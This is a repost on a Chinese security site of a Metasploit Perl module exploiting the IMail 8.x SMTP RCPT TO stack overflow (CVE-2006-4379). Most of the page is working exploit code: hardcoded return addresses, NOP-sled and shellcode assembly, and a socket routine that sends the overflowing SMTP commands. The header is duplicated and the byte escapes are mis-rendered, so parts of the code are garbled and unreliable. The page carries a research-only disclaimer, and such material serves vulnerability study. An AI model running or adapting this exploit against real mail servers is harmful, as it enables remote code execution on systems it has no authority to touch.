Imail 8.10-8.12 (RCPT TO) Remote Buffer Overflow Exploit (meta) 's

admin 2017年4月28日04:15:19评论256 views字数 3288阅读10分57秒阅读模式
摘要

信息来源:邪恶八进制
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

信息来源:邪恶八进制
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always
be obtained from metasploit.com.
##

package Msf::Exploit::imail_smtp_rcpt_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };

my $info = {
'Name' => 'IMail 2006 and 8.x SMTP Stack Overflow Exploit',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
'Priv' => 1,

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 25],
'Encoder' => [1, 'EncodedPayload', 'Use Pex!!'],

},

'AutoOpts' => { 'EXITFUNC' => 'seh' },
'Payload' =>
{
'Space' => 400,
'BadChars' => "/x00/x0d/x0a/x20/x3e/x22/x40",
'Keys' => ['+ws2ord'],

},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack based buffer overflow in IMail 2006 and 8.x SMTP service.
If we send a long strings for RCPT TO command contained within the characters '@' and ':'
we can overwrite the eip register and exploit the vulnerable smpt service
}),

'Refs' =>
[
['BID', '19885'],
['CVE', '2006-4379'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-028.html'],
],

'Targets' =>
[

['Universal IMail 8.10',0x100188c3 ], # pop eax, ret in SmtpDLL.dll for IMail 8.10
['Universal IMail 8.12',0x100191c4 ], # pop eax, ret in SmtpDLL.dll for IMail 8.12

],

'DefaultTarget' => 0,

'Keys' => ['smtp'],

'DisclosureDate' => 'September 7 2006',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;

my $target = $self->Targets->[$target_idx];

my $ehlo = "EHLO " . "/r/n";

my $mail_from = "MAIL FROM:" . "/x20" . "/x3c"."acaro". "/x40"."jervus.it" . "/x3e" . "/r/n";

my $pattern = "/x20/x3c/x40";
$pattern .= pack('V', $target->[1]);
$pattern .="/x3a" . $self->MakeNops((0x1e8-length ($shellcode)));
$pattern .= $shellcode;
$pattern .= "/x4a/x61/x63/x3e";

my $request = "RCPT TO: " . $pattern ."/n";

$self->PrintLine(sprintf ("

  • Trying ".$target->[0]." using pop eax, ret at 0x%.8x…", $target->[1]));
  • my $s = Msf::Socket::Tcp->new
    (
    'PeerAddr' => $target_host,
    'PeerPort' => $target_port,
    'LocalPort' => $self->GetVar('CPORT'),
    'SSL' => $self->GetVar('SSL'),
    );

    if ($s->IsError) {
    $self->PrintLine('

  • Error creating socket: ' . $s->GetError);
  • return;
    }
    my $r = $s->Recv(-1, 5);

    $s->Send($ehlo);
    $self->PrintLine("

  • I'm sending ehlo command");
  • $self->PrintLine("

  • $r");
  • sleep(2);

    $s->Send($mail_from);
    $self->PrintLine("

  • I'm sending mail from command");
  • $r = $s->Recv(-1, 10);
    $self->PrintLine("

  • $r");
  • sleep(2);

    $s->Send($request);
    $self->PrintLine("

  • I'm sending rcpt to command");
  • sleep(2);

    return;
    }
    [code][/code]

    免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2017年4月28日04:15:19
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     Imail 8.10-8.12 (RCPT TO) Remote Buffer Overflow Exploit (meta) 'shttps://cn-sec.com/archives/49373.html
                    免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

    发表评论

    匿名网友 填写信息